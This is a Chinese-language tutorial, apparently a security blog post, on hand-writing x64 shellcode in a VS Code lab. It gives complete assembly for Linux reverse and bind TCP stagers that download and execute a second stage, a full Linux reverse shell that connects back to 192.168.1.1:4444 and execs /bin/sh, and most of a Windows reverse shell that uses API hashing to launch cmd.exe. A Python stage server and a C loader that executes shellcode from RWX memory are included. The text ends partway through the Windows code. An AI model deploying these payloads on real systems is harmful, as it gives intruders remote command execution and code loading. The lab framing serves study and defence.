3-Linux Shellcode开发(Stager & Reverse Shell)
文章首发于先知社区:https://xz.aliyun.com/news/17993 作者:一天
一、环境准备
1.1 工具安装
在linux系统下有几个工具做的很好,比如说pwndbg和GDB Dashboard等GDB 增强工具,但是我就是喜欢用vscode将所有功能集成到一起。对于一个非开发出生的半路型网安业余选手,不能像各位大佬一样直接熟练地运用GDB 命令行调式程序,调试工具对非开发背景的人来说确实有一定门槛,但通过 VS Code 的图形化界面 也能轻松上手。
我看到网上有很多介绍linux x86 shellcode的实现,所以本文只探究x64 shellcode的实现。
首先在kali安装vscode,参考文章:【安装教程】kali 虚拟机下载vscode以及无法启动问题_kali安装vscode-CSDN博客 和Download Visual Studio Code - Mac, Linux, Windows
然后呢,我再安装中文插件,虽然能看懂英文,但毕竟不是母语,老是需要在脑中翻译成中文太累了。

安装C/C++扩展,这个是用来调式程序的

我习惯于在调式程序的时候查看内存的情况,特别是堆栈的情况。在网上找资料的时候发现了一个很好用的插件:MemoryView

效果如下图所示

x86 and x86-64 Assembly
是 VS Code 的一款汇编语言插件,支持语法高亮、代码补全

kali默认安装了GDB调式工具,可以用命令查看一下 gdb -version

kali也默认安装了nasm,用命令查看一下:nasm -v

1.2 运行配置
首先创建一个工作目录,随后用vscode打开,然后在工作目录添加一个hello.asm文件

hello.asm代码如下
[BITS 64]
section .text
global _start
_start:
mov rax, 1 ; sys_write
mov rdi, 1 ; stdout
lea rsi, [rel msg]
mov rdx, len
syscall
mov rax, 60 ; sys_exit
xor rdi, rdi
syscall
msg: db "Hello, Oneday!", 0
len equ $ - msg
配置task.json
按
Ctrl+Shift+P
弹出命令面板输入
tasks
选择
Tasks: Configure Task...
来针对特定任务进行配置

使用模板创建tasks.json 文件

随便选一个模板

然后用下面的json代码覆盖原有的代码
{
"version": "2.0.0",
"tasks": [
{
"label": "nasm-build",
"type": "shell",
"command": "bash",
"args": [
"-c",
"rm -f *.o && nasm -f elf64 -g -F dwarf ${file} -o ${fileDirname}/${fileBasenameNoExtension}.o && ld -o ${fileDirname}/${fileBasenameNoExtension} ${fileDirname}/${fileBasenameNoExtension}.o && rm -f ${fileDirname}/${fileBasenameNoExtension}.o"
],
"group": { "kind": "build", "isDefault": true },
"options": {
"cwd": "${workspaceFolder}"
}
}
]
}
rm -f *.o
:表示删除当前工作目录下的所有的*.o文件nasm -f elf64 -g -F dwarf ${file} -o ${fileDirname}/${fileBasenameNoExtension}.o
:将汇编源代码文件(.asm)编译生成一个带调试信息的 64 位 ELF 格式目标文件(.o)ld -o ${fileDirname}/${fileBasenameNoExtension} ${fileDirname}/${fileBasenameNoExtension}.o
:将汇编生成的 .o 目标文件链接成最终的可执行文件rm -f ${fileDirname}/${fileBasenameNoExtension}.o
:再次删除当前工作目录下的*.o文件,确保没有中间产物
一切准备就绪后,我们来到hello.asm界面,按住快捷键:crtl+shift+B
进行快速构建,如果一切顺利,会在当前工作目录下生成一个hello.elf文件

我们运行一下这个hello.elf,在终端输入:./hello

当然编写程序少不了调式环节,我们在.vscode目录下新建一个 lanuch.json
文件,将下面的代码复制到 lanuch.json
文件中。这个代码主要功能就是在当前工作目录中寻找目标程序 (由 ${fileDirname}/${fileBasenameNoExtension}
指定)并进行调试。具体配置就用ai来解释吧。
{
"version": "0.2.0",
"configurations": [
{
"name": "Debug Assembly",
"type": "cppdbg",
"request": "launch",
"program": "${fileDirname}/${fileBasenameNoExtension}",
"stopAtEntry": true,
"cwd": "${workspaceFolder}",
"MIMode": "gdb",
"miDebuggerPath": "/usr/bin/gdb",
"setupCommands": [
{ "text": "-gdb-set disassembly-flavor intel" }
],
"preLaunchTask": "nasm-build"
}
]
}
正常来说vscode只允许特定的文件下断点,为了给我们的asm文件下断点,就需要在设置->调式->勾选Allow Breakpoints Everywhere,这样我们就可以下断点啦。

一切准备就绪后,我们来到hello.asm界面,在 mov rax, 1 ; sys_write
处下一个断点,按住快捷键:F5
进行快速调式,如果一切顺利,程序会停在断点处,我们可以查看寄存器的值,也可以查看内存的情况。

二、stager(反向TCP)
Shellcode 的实现通常依赖于系统调用(syscall),因为系统调用是用户空间程序与内核交互的唯一方式并且Shellcode通常需要独立运行,不能假设目标环境中存在 libc
或其他库。系统调用本质上是运行在内核态的特殊函数,windows上也有系统调用,而且从windows系统调用也延伸出重要的防御规避技术。
2.1 调用约定
在 Linux x86-64 架构下,系统调用(syscall)的参数传递遵循 System V AMD64 ABI 调用约定,与用户态函数调用(如 libc
函数)的传参方式一致。
前六个参数从左至右依次存放于 RDI,RSI,RDX,RCX,R8,R9 寄存器里面,剩下的参数通过栈传递,从右至左顺序入栈;
⚠注意:
系统调用号保存在
rax
中。syscall
指令会覆盖rcx
,因此不能直接用rcx
传参,而应该使用R10
来替代RCX
。因为我们使用的是
syscall
指令,不用关注rsp
对齐,但是使用call
调用函数之前,rsp
必需对齐!syscall返回结果如果是负数则表示发生了错误,其值表示错误码的类型
总结:在linux shellcode编程中,我们应该使用 RDI,RSI,RDX,R10,R8,R9,来传递前六个参数。

2.2 分段编写
代码参考msf的源码,系统调用原型参考linux的源码
(1) 调用socket
push 0x29 ; syscall number for socket
pop rax ; rax = 0x29
push 2
pop rdi ; rdi = 2
push 1
pop rsi ; rsi = 1
xor rdx, rdx ; rdx = 0
syscall
test rax, rax ; 错误检查
js failure ; 如果为负数,则失败
push rax ; 保存 socket 句柄到栈上,以备后续使用
可以看到代码中,使用push-pop来设置寄存器的值,理由:①避免00截断(此项可忽略?我看msf生成的shellcode也有00字节);②减少shellcode体积,一般情况下push-pop比mov指令少几个字节。
需要用
rax
来设置系统调用号,系统调用号参考linux的源码中的syscall_32.tbl或者syscall_64.tbl
js
用于检查符号标志位(SF),判断结果是否为负数。在linux系统中,当程序通过syscall
调用内核功能时正数或零:表示成功;负数:表示错误,代表着对于的错误码。
(2) 调用connect
xchg rax, rdi ; rdi = Socket 文件描述符
mov rsi, 0x0101A8C05C110002 ; 192.168.1.1:4444, AF_INET
push rsi ; 将sockaddr_in 结构体保存到栈上
mov rsi, rsp ; rsi = 指向 sockaddr_in 结构体的指针
push 16
pop rdx ; rdx = 16(结构体大小)
push 0x2a
pop rax ; syscall number for connect
syscall
test rax, rax ; 错误检查
js failure ; 如果为负数,则失败
看过我前几篇文章或者有关网络编程相关基础的师傅肯定对 sockaddr_in
这个结构体不陌生,我再简单的说明一下这条指令mov r12,0101A8C05C110002h
,其实重点还是 sockaddr_in
结构体如何构造
0101A8C0
: C0=192, A8=168, 01=1, 01=1,即ip=192.168.1.15C11
(大端序):端口44440002
:表示AF_INET(IPv4)
为什么结构体大小是16呢?我们不是只设置了8个字节(0101A8C05C110002h),还有一个字段是 char sin_zero[8];
,必须填充为0,不必显式填充
(3)调用mmap分配一个可执行的缓冲区
push 0x9
pop rax ; syscall number for mmap
xor rdi, rdi ; rdi = 0
push 0x2000
pop rsi ; rsi = 0x2000
push 7
pop rdx ; rdx = 7
push 0x22
pop r10 ; r10 = 0x22
xor r9, r9 ; r9 = 0
syscall
test rax, rax ; 错误检查
js failure ; 如果为负数,则失败
rdi:addr,映射的起始地址,通常为 0 表示由内核自动选择。
rsi:length,映射区域的大小,我设置为0x2000,这个主要是根据stage的大小来设置的。
rdx:prot,内存保护标志,我设置为
7
表示内存保护标志的组合,即PROT_READ(1)
|PROT_WRITE(2)
|PROT_EXEC(4)
=111(2进制)。r10:flags,映射类型和选项,即
MAP_PRIVATE(0x02)
|MAP_ANONYMOUS(0x20)
=0x22。r8:fd,文件描述符,当
flags
包含MAP_ANONYMOUS
时,fd
参数会被忽略(通常设为-1
或0
),故不显式设置r9:offset文件偏移量,匿名映射时为 0。
(4)传输stage
read_pre:
pop rcx ; clear
pop rdi ; rdi = socket 句柄
xchg rax, r15 ; r15 = 缓冲区的基址
push 0
pop rax ; syscall number for read
read:
mov rsi, r15 ; rsi = 当前缓冲区指针
mov rdx, 0x2000 ; rdx = 0x2000,即读取0x2000字节的数据
syscall
test rax,rax
js failure
关键代码解释
pop rcx
:清除之前保存在栈上的sockaddr_in结构体pop rdi
:获取在第一步调用socket
中保存的socket 句柄mov rdx, 0x2000
一次性读取完stage,并不能分段读取socket中的数据(可能是我水平有限,等我再研究研究o.0? :)
2.3 测试
首先,我们将 1.2 运行配置
中的hello.asm制作成bin文件,可以用010 editor,也可以用nasm,下面我将介绍使用nasm将单个asm文件生成bin文件。
nasm -f bin hello.asm -o hello.bin

然后,我们将hello.bin文件放置到python启动的服务器上,代码如下。运行该脚本,服务器会监听自己的4444端口,等待客户端连接
import socket
import threading
IP = '0.0.0.0'
PORT = 4444 # 修改为4444端口
SHELLCODE_FILE = 'hello.bin' # 要传输的shellcode文件
def main():
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((IP, PORT))
server.listen(5)
print(f'[*] Listening on {IP}:{PORT}')
while True:
client, address = server.accept()
print(f'[*] Accepted connection from {address[0]}:{address[1]}')
client_handler = threading.Thread(
target=handle_client,
args=(client,)
)
client_handler.start()
def handle_client(client_socket):
try:
# 读取shellcode文件
with open(SHELLCODE_FILE, 'rb') as f:
shellcode = f.read()
# 发送shellcode给客户端
client_socket.sendall(shellcode)
print(f'[*] Sent {len(shellcode)} bytes of shellcode')
except FileNotFoundError:
print(f'[!] Error: {SHELLCODE_FILE} not found')
client_socket.sendall(b'Error: Shellcode file not found')
except Exception as e:
print(f'[!] Error: {str(e)}')
finally:
client_socket.close()
if __name__ == '__main__':
main()
在 mov rdx, 0x2000
下一个断点,读取数据前的效果如下

执行完syscall指令后,可以看到我们的stage已经在缓冲区了

我们直接执行shellcode.elf,而非调式,效果如下图所示

我们换ubuntu系统来执行shellcode.elf

接下来我们根据shellcode.asm直接生成shellcode.bin
nasm -f bin shellcode.asm -o shellcode.bin
一个简单的linux c语言shellcode加载器
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
#include <fcntl.h>
// 读取二进制文件到内存
unsigned char* read_binary_file(const char* filename, size_t* size) {
FILE* file = fopen(filename, "rb");
if (!file) {
perror("fopen failed");
return NULL;
}
// 获取文件大小
fseek(file, 0, SEEK_END);
*size = ftell(file);
fseek(file, 0, SEEK_SET);
// 分配内存
unsigned char* buffer = (unsigned char*)malloc(*size);
if (!buffer) {
perror("malloc failed");
fclose(file);
return NULL;
}
// 读取文件内容
if (fread(buffer, 1, *size, file) != *size) {
perror("fread failed");
free(buffer);
fclose(file);
return NULL;
}
fclose(file);
return buffer;
}
int main() {
size_t size;
unsigned char* shellcode = read_binary_file("shellcode.bin", &size);
if (!shellcode) {
return 1;
}
// 分配可执行内存 (使用 mmap)
void* exec_mem = mmap(
NULL,
size,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS,
-1,
0
);
if (exec_mem == MAP_FAILED) {
perror("mmap failed");
free(shellcode);
return 1;
}
// 复制 Shellcode 到可执行内存
memcpy(exec_mem, shellcode, size);
free(shellcode); // 释放原始内存
// 强制转换为函数指针并执行
void (*func)() = (void(*)())exec_mem;
func();
// 释放可执行内存 (可选,如果 Shellcode 不退出程序)
munmap(exec_mem, size);
return 0;
}
编译成可执行程序
gcc -o shellcode_loader ./shellcode_loader.c

执行shellcode_loader(确保shellcode.bin与shellcode_loader处在同一目录)
chmod +x ./shellcode_loader
./shellcode_loader

2.4 完整代码
[BITS 64]
section .text
global _start
_start:
; 1. socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
push 0x29 ; syscall number for socket
pop rax ; rax = 0x29
push 2
pop rdi ; rdi = 2
push 1
pop rsi ; rsi = 1
xor rdx, rdx ; rdx = 0
syscall
test rax, rax ; 错误检查
js failure ; 如果为负数,则失败
push rax ; 保存 socket 句柄到栈上,以备后续使用
; 2. connect(3, {sa_family=AF_INET, LPORT, LHOST, 16)
xchg rax, rdi ; rdi = Socket 文件描述符
mov rsi, 0x0101A8C05C110002 ; 192.168.1.1:4444, AF_INET
push rsi ; 将sockaddr_in 结构体保存到栈上
mov rsi, rsp ; rsi = 指向 sockaddr_in 结构体的指针
push 16
pop rdx ; rdx = 16(结构体大小)
push 0x2a
pop rax ; syscall number for connect
syscall
test rax, rax ; 错误检查
js failure ; 如果为负数,则失败
; 3. mmap(NULL, 8192, PROT_READ|PROT_WRITE|PROT_EXEC|0x1000, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)
push 0x9
pop rax ; syscall number for mmap
xor rdi, rdi ; rdi = 0
push 0x2000
pop rsi ; rsi = 0x2000
push 7
pop rdx ; rdx = 7
push 0x22
pop r10 ; r10 = 0x22
xor r9, r9 ; r9 = 0
syscall
test rax, rax ; 错误检查
js failure ; 如果为负数,则失败
; 4. 传输 stage
read_pre:
pop rcx ; clear
pop rdi ; rdi = socket 句柄
xchg rax, r15 ; r15 = 缓冲区的基址
push 0
pop rax ; syscall number for read
read:
mov rsi, r15 ; rsi = 当前缓冲区指针
mov rdx, 0x2000 ; rdx = 8192 ,一次读取 8192 个字节的数据
syscall
test rax,rax
js failure
exec:
jmp r15 ; 跳转执行 stage
failure:
push 0x3c
pop rax ; syscall number for exit
push 1
pop rdi ; rdi = 1,即退出返回 1
syscall
三、stager(正向TCP)
正向TCP应该没什么好讲的了,实在是写不出新花样了,看注释应该能明白吧?无非就是socket+bind+listen+accept+read。
3.1 完整代码
[BITS 64]
section .text
global _start
_start:
; ================ 1. 创建Socket ================
; sys_socket(domain=AF_INET, type=SOCK_STREAM, protocol=IPPROTO_TCP)
push 0x29 ; 系统调用号41(十进制)
pop rax ; 加载socket系统调用号
push 2 ; AF_INET(IPv4协议族)
pop rdi ; rdi = domain参数
push 1 ; SOCK_STREAM(面向连接的TCP套接字)
pop rsi ; rsi = type参数
xor rdx, rdx ; rdx = 0(自动选择协议,此处实际为IPPROTO_TCP)
syscall
test rax, rax ; 检查返回值(负数表示错误)
js failure ; 错误时跳转到failure标签
push rax ; 保存socket文件描述符到栈
; ================ 2. 绑定端口 ================
xchg rax, rdi ; rdi = socket文件描述符
mov rsi, 0x000000005C110002 ; sockaddr_in结构体:
; sin_family=0x0002(AF_INET)
; sin_port=0x5C11(网络字节序的4444端口)
; sin_addr=0x00000000(INADDR_ANY)
push rsi ; 将地址结构压栈
mov rsi, rsp ; rsi指向栈上的sockaddr结构体
push 16 ; sockaddr结构体长度(16字节)
pop rdx ; rdx = addrlen参数
push 49 ; sys_bind系统调用号
pop rax
syscall
test rax, rax
js failure
; ================ 3. 监听连接 ================
mov rdi, [rsp+8] ; 从栈中恢复socket文件描述符
push 128 ; backlog参数(最大挂起连接数)
pop rsi
push 50 ; sys_listen系统调用号
pop rax
syscall
test rax, rax
js failure
; ================ 4. 接受连接 ================
mov rdi, [rsp+8] ; socket文件描述符
xor rsi, rsi ; 不保存客户端地址(NULL)
xor rdx, rdx ; 地址长度指针为NULL
push 43 ; sys_accept系统调用号
pop rax
syscall
test rax, rax
js failure
xchg r14, rax ; 将新连接的文件描述符存入r14
; ================ 5. 清理旧socket ================
push rdi ; 清理栈上的地址结构
push rdi ; 关闭监听socket
push 3 ; sys_close系统调用号
pop rax
syscall
test rax, rax
js failure
; ================ 6. 创建内存映射 ================
push 0x9 ; sys_mmap系统调用号
pop rax
xor rdi, rdi ; 地址由内核选择(NULL)
push 0x2000 ; 映射大小8192字节
pop rsi
push 7 ; PROT_READ|PROT_WRITE|PROT_EXEC
pop rdx
push 0x22 ; MAP_PRIVATE|MAP_ANONYMOUS
pop r10
xor r9, r9 ; 文件描述符=0,偏移量=0
syscall
test rax, rax
js failure
xchg r15, rax ; 将映射地址存入r15
; ================ 7. 接收Shellcode ================
read_pre:
xchg rdi, r14 ; rdi = 连接socket文件描述符
read:
mov rsi, r15 ; rsi指向映射内存
mov rdx, 0x2000 ; 最大读取长度
xor rax, rax ; sys_read系统调用号
syscall
test rax, rax
js failure
exec:
jmp r15 ; 执行接收到的Shellcode
failure:
push 0x3c ; sys_exit系统调用号
pop rax
push 1 ; 退出状态码=1
pop rdi
syscall
3.2 测试
我们来到shellcode.asm界面,按快捷键 ctrl+shift+B
进行快速构建,构建完后,我们执行shellcode.elf
./shellcode
此时程序阻塞,等待连接
python客户端的代码如下,此处是客户端发送hello.bin的数据给服务器(shellcode.asm)
import socket
# 配置目标地址和端口
HOST = '192.168.1.32'
PORT = 4444
FILE_PATH = 'hello.bin' # 要读取的二进制文件路径
try:
# 从本地读取二进制文件
with open(FILE_PATH, 'rb') as file:
MESSAGE = file.read() # 读取全部字节内容
print(f"Loaded {len(MESSAGE)} bytes from {FILE_PATH}")
# 创建 TCP Socket 对象
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
# 连接到目标地址和端口
s.connect((HOST, PORT))
print(f"Connected to {HOST}:{PORT}")
# 发送文件内容
s.sendall(MESSAGE)
print(f"Sent {len(MESSAGE)} bytes to server")
except FileNotFoundError:
print(f"Error: File {FILE_PATH} not found")
except ConnectionRefusedError:
print(f"Connection to {HOST}:{PORT} refused. Is the server running?")
except Exception as e:
print(f"Error: {str(e)}")

换ubuntu来测试

四、Linux Reverse Shell
在Linux中,反弹Shell(Reverse Shell)是一种常见的技术,通常用于合法渗透测试、远程管理。在这里我将尝试实现反弹shell的。
4.1 值得关注的点
反弹shell的shellcode的方式有多种,我就介绍最常用也最通用的一种方式:通过socket+connect+dup2+execve的系统调用组合
① dup2
是一个非常重要的系统调用,常用于 Shellcode 中实现文件描述符的重定向,特别是在反弹 Shell 场景中用于将标准输入(0)、输出(1)和错误(2)重定向到网络套接字。原型如下
int dup2(int oldfd, int newfd);
当建立一个反弹Shell时,我们需要让远程连接的套接字完全替代标准I/O:
标准输入(stdin, 0):接收攻击者输入的命令
标准输出(stdout, 1):发送命令输出结果给攻击者
标准错误(stderr, 2):发送错误信息给攻击者
没有重定向:
攻击者输入 -> [网络套接字] -> shell进程
shell输出 -> [原终端] (攻击者看不到)
有重定向:
攻击者输入 -> [网络套接字=stdin] -> shell进程
shell输出 -> [stdout/stderr=网络套接字] -> 攻击者
②execve
系统调用,用于指定的程序替换当前进程的内存空间。在 Shellcode 开发中,execve
常用于启动 shell(如 /bin/sh
),原型如下
int execve(const char *filename, char *const argv[], char *const envp[]);
③又是字符串问题
在linux shellcode开发中,我使用 mov rdi, '/bin/sh'
来定义字符串,然后将字符串压入栈中,如下图所示

在windows上以相同的方式定义字符串,结果却入下图所示

有没有好心的大佬告知其中的缘由啊啊啊啊啊啊啊啊啊啊啊啊!!!!!!!!!!!

4.2 测试
我的sockaddr_in设置为:0x0101A8C05C110002,即192.168.1.1:4444, AF_INET

当然也可以设置成0x0100007F5C110002,即127.0.0.1:4444, AF_INET,然后在自己的kali上测试。

4.3 完整代码
[BITS 64] ; 指定为64位代码
section .text ; 代码段
global _start ; 声明入口点
_start:
; ================ 1. 创建Socket ================
; sys_socket(domain=AF_INET, type=SOCK_STREAM, protocol=IPPROTO_TCP)
push 0x29 ; 系统调用号41(十进制)放入栈
pop rax ; 将41弹出到rax(系统调用号存放寄存器)
push 2 ; AF_INET(IPv4协议族)
pop rdi ; rdi = domain参数(第一个参数)
push 1 ; SOCK_STREAM(面向连接的TCP套接字)
pop rsi ; rsi = type参数(第二个参数)
xor rdx, rdx ; rdx = 0(第三个参数,自动选择协议,实际为IPPROTO_TCP)
syscall ; 执行系统调用
test rax, rax ; 检查返回值(负数表示错误)
js failure ; 如果符号位为1(负数),跳转到failure标签
push rax ; 保存socket文件描述符到栈(后续需要复用)
; ================ 2. 连接目标 ================
; connect(3, {sa_family=AF_INET, LPORT, LHOST}, 16)
xchg rax, rdi ; 交换rax和rdi的值,现在rdi = socket fd
mov rsi, 0x0100007F5C110002 ; 构造sockaddr_in结构:
; 0x02 00 -> AF_INET
; 0x5C11(big) -> 端口4444
; 0xC0A80101 -> IP 192.168.1.1
; 0x00000000 -> 填充字段
push rsi ; 将sockaddr_in结构体保存到栈上
mov rsi, rsp ; rsi = 指向栈上sockaddr_in结构体的指针
push 16 ; sockaddr_in结构体大小=16字节
pop rdx ; rdx = 16(第三个参数)
push 0x2a ; connect系统调用号42
pop rax ; rax = 42
syscall ; 执行connect
test rax, rax ; 检查返回值
js failure ; 如果连接失败跳转
; ================ 3. 文件描述符重定向 ================
; dup2(sockfd, 0/1/2) 将标准输入/输出/错误重定向到socket
mov rdi, [rsp+8] ; 从栈上恢复socket文件描述符(注意栈变化)
push 2 ; 从stderr(2)开始重定向
pop rsi ; rsi = 当前要重定向的文件描述符
loop_dup2:
push 33 ; dup2系统调用号
pop rax ; rax = 33
syscall ; 执行dup2(sockfd, rsi)
dec rsi ; 递减文件描述符(下一步重定向stdout(1)然后stdin(0))
test rsi, rsi ; 检查rsi是否≥0(SF=0表示非负数)
jns loop_dup2 ; 如果非负数继续循环
; ================ 4. 启动shell ================
; execve("/bin/sh", NULL, NULL)
xor rdx, rdx ; rdx = NULL(环境变量数组)
push rdx ; 字符串终止符
mov rdi, '/bin/sh' ; 准备路径字符串
push rdi ; 将字符串压栈
mov rdi, rsp ; rdi = 字符串地址(第一个参数)
xor rsi, rsi ; rsi = NULL(argv数组)
push rsi ; argv[1] = NULL
push rdi ; argv[0] = "/bin/sh"
mov rsi, rsp ; rsi = argv(第二个参数)
push 59 ; execve系统调用号
pop rax ; rax = 59
syscall ; 执行execve
; ================ 错误处理 ================
failure:
push 0x3c ; sys_exit系统调用号60
pop rax
push 1 ; 退出状态码=1(表示错误)
pop rdi
syscall ; 退出程序
五、Windows Reverse Shell
在网络安全探索之旅中,我偶然萌生了用汇编实现 Windows 反弹 shell 的想法,实在不想单开一篇文章,就在这里写了。反弹 shell 是一种网络攻防技术,攻击者借助此技术可在目标计算机上获取远程命令行访问权限。常见实现多基于 PowerShell,但汇编语言能深入底层,实现更隐蔽、高效的控制,刚好我这个专题或多或是涉及到汇编语言编写工具,所以Reverse Shell Shellcode孕育而生。
像Linux Reverse Shell一样,windows反弹shell的实现依赖于socket编程,刚好我在前面详细介绍过了socket编程了,咱们成热打铁,一起踏上用MASM汇编实现反弹shell的旅程吧!代码参考,我做了必要的修改,简化了一部分流程。
大致流程如下:
初始化Winsock库
使用WSASocketA函数创建Socket
使用connect函数连接远程主机
创建STARTUPINFOA,重定向标准输入、输出、错误到网络套接字
创建cmd进程
5.1 值得关注的点
第1到第3步我就不讲了,毕竟已经说过好多次了,咱们的重点应该放在后续重定向标准输入、输出、错误到网络套接字
(1)初始化STARTUPINFOA结构体
首先我们来看STARTUPINFOA
结构体结体的定义:
typedef struct _STARTUPINFOA {
DWORD cb;
LPSTR lpReserved;
LPSTR lpDesktop;
LPSTR lpTitle;
DWORD dwX;
DWORD dwY;
DWORD dwXSize;
DWORD dwYSize;
DWORD dwXCountChars;
DWORD dwYCountChars;
DWORD dwFillAttribute;
DWORD dwFlags;
WORD wShowWindow;
WORD cbReserved2;
LPBYTE lpReserved2;
HANDLE hStdInput;
HANDLE hStdOutput;
HANDLE hStdError;
} STARTUPINFOA, *LPSTARTUPINFOA;
这里我们只用关注以下的几个字段
cb
:结构体的大小(字节数),必须初始化为sizeof(STARTUPINFOA)
,位于偏移0的位置
dwFlags
:控制哪些成员有效,常用STARTF_USESTDHANDLES
启用标准句柄重定向,位于偏移4+4(对齐用的)+8*3+4*7=60
的位置hStdInput
:标准输入,位于偏移4+4(对齐用的)+8*3+4*8+2*2+4(对齐用的)+8=80
的位置hStdOutput
:标准输出,位于偏移4+4(对齐用的)+8*3+4*8+2*2+4(对齐用的)+8+8=88
的位置hStdError
:标准错误,位于偏移4+4(对齐用的)+8*3+4*8+2*2+4(对齐用的)+8+8+8=96
的位置
在使用 STARTUPINFOA
结构体前必需进行初始化,下面的代码是自实现memset(&si, 0, sizeof(STARTUPINFOA))
sub rsp,68h
mov rdi, rsp
xor rax,rax
mov rcx, 68h
rep stosb
sub rsp,68h
:给STARTUPINFOA结构体分配sizeof(STARTUPINFOA)大小的栈空间mov rdi, rsp
:将结构体起始地址存入rdi
,供stosb
使用xor rax,rax
:将rax
清零,stosb
会写入0
。mov rcx, 68h
:设置循环次数(68 字节)rep stosb
:rep
重复执行stosb
,直到ecx
减到 0。stosb
:将al
的值(这里是0
)写入edi
指向的内存,然后edi
自动 +1
清零后,我们就可以设置关键字段了
mov dword ptr [rsp],68h ; si.cb = sizeof(STARTUPINFOA)
mov dword ptr [rsp + 60], 101h ; si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW
mov qword ptr [rsp + 80], r15 ; si.hStdInput = socket
mov qword ptr [rsp + 88], r15 ; si.hStdOutput = socket
mov qword ptr [rsp + 96], r15 ; si.hStdError = socket
调式看一下清零前的栈空间,调式前请运行nc监听!在 rep stosb
下一个断点

F11后

继续往下调式
si.cb = sizeof(STARTUPINFOA)

si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW

si.hStdInput = socket,socket的句柄保存在r15中,接下来的si.hStdOutput = socket和si.hStdError = socket也是同样的方法调式。

(2)调用CreateProcessA
调用Windows API前需要传入参数,CreateProcessA函数原型如下
BOOL CreateProcessA(
[in, optional] LPCSTR lpApplicationName,
[in, out, optional] LPSTR lpCommandLine,
[in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] BOOL bInheritHandles,
[in] DWORD dwCreationFlags,
[in, optional] LPVOID lpEnvironment,
[in, optional] LPCSTR lpCurrentDirectory,
[in] LPSTARTUPINFOA lpStartupInfo,
[out] LPPROCESS_INFORMATION lpProcessInformation
);
其中我们需要关注的参数有
lpCommandLine
:若lpApplicationName
为NULL
,则从lpCommandLine
的第一个空格分隔部分解析可执行文件名,说明我们只用指定lpCommandLine
为“cmd.exe”即可bInheritHandles
:若需跨进程通信(如管道重定向),设为TRUE
lpStartupInfo
:STARTUPINFOA
结构体指针lpProcessInformation
:PROCESS_INFORMATION
结构体指针
我们来看看用汇编如何实现CreateProcessA的参数传递
xor rbx,rbx ; 清零,后续会用到
xor rcx,rcx ; lpApplicationName
mov rdx,'exe.dmc'
push rdx
mov rdx,rsp ; "cmd.exe"字符串指针
xor r8,r8 ; lpProcessAttributes
xor r9,r9 ; lpThreadAttributes
; 为 PROCESS_INFORMATION 分配空间
sub rsp, 32 ; 分配32字节(PROCESS_INFORMATION=24 + 对齐8)
push rsp ; lpProcessInformation
push r12 ; lpStartupInfo,
push rbx ; lpCurrentDirectory
push rbx ; lpEnvironment
push rbx ; dwCreationFlags
inc rbx
push rbx ; bInheritHandles
mov r10,5DDB71FAh ; Kernel32.dll+CreateProcessA hash
call GetProcAddressByHash
需要关注的就是为 PROCESS_INFORMATION 分配空间,执行到 sub rsp, 32
时,虽然我们的RSP已经按照16字节对齐了,但是需要分配24 字节的 PROCESS_INFORMATION
,而且后续有6次push操作,则 rsp要减去 24+6*8=50
,执行到call指令时rsp以8结尾,因为不对齐的缘故,程序异常,所以要加上8字节用于对齐,最终rsp减去 24+8(用于对齐)+6*8=56
,rsp保持16字节对齐了,即以0结尾。

调式看一下,不管对不对齐,此时的RSP必定以0结尾,首先看不对齐会怎么样。

执行完call指令后,发生异常

对齐后,执行完call指令后,没有发生异常,且rax为非0,这表明CreateProcessA 成功执行。

所以,这也是为什么windows x64 shellcode编写如此困难的原因,因为我们要时刻关注RSP对齐!
5.2 测试
win11上以exe的形式反弹shell

win11以shellcode的形式反弹shell

win10上可以正常反弹shell

win7上可以反弹shell,但是会显示"已停止工作"

5.3 完整代码
Kernel32.dll+CreateProcessA=5DDB71FAh
.code
main proc
; 1. 清除方向标志并对齐栈指针,确保符合Windows x64调用约定
cld ; 清除方向标志(DF=0),字符串操作向高地址进行
and rsp, 0FFFFFFFFFFFFFFF0h ; 将RSP对齐到16字节边界,避免栈未对齐导致的异常
; 2.加载ws2_32.dll库
push 0 ; 为了对齐
mov r14, '23_2sw' ; 构造字符串'ws2_32\0'
push r14 ; 将字符串压栈,此时RSP指向"ws2_32\0"的地址
mov rcx, rsp ; RCX = 字符串地址,作为LoadLibraryA的参数
mov r10, 0DEC21CCDh ; kernel32.dll+LoadLibraryA的哈希值
call GetProcAddressByHash
; 3.调用WSAStartup函数
sub rsp, 400+8 ; WSAData结构体大小400字节,8个字节对齐
mov r13,rsp ; R13保存WSAData结构指针
mov r12,0101A8C05C110002h ; 构造sockaddr_in结构:192.168.1.1:4444, AF_INET
push r12 ; 压栈保存sockaddr_in结构
mov r12,rsp ; R12保存sockaddr_in结构指针
mov rdx,r13 ; RDX = WSAData结构指针
push 0101h ; Winsock 1.1版本
pop rcx ; RCX = 0101h
mov r10,78A22668h ; ws2_32.dll+WSAStartup的哈希值
call GetProcAddressByHash
test eax,eax
jnz failure
; 4.调用WSASocketA函数
mov rcx,2 ; af=AF_INET (IPv4)
mov rdx,1 ; af=SOCK_STREAM (TCP)
xor r8,r8 ; protocol = 0 (默认)
xor r9,r9 ; lpProtocolInfo = NULL
push r9 ; dwFlags = 0
push r9 ; g=0
mov r10,5915B629h ; ws2_32.dll+WSASocketA的哈希值
call GetProcAddressByHash
xchg r15,rax ; 保存套接字句柄到r15,以备后续使用
; 6.调用connect函数
mov rcx,r15 ; 套接字句柄
mov rdx,r12 ; sockaddr_in结构指针
push 16 ; sockaddr_in结构长度
pop r8 ; R8 = 16
mov r10,0D9AB4BD8h ; ws2_32.dll+connect的哈希值
call GetProcAddressByHash
test eax,eax ; 如果返回值不为零则表示错误
jnz failure
; 7. 清栈
add rsp, ((400+8)+(5*8)+(4*32))
; 8. memset(&si, 0, sizeof(STARTUPINFOA))
sub rsp,68h ; sizeof(STARTUPINFOA)
mov r12,rsp ; r12 = STARTUPINFOA指针,以备后续使用
mov rdi, rsp ; rdi = STARTUPINFOA指针
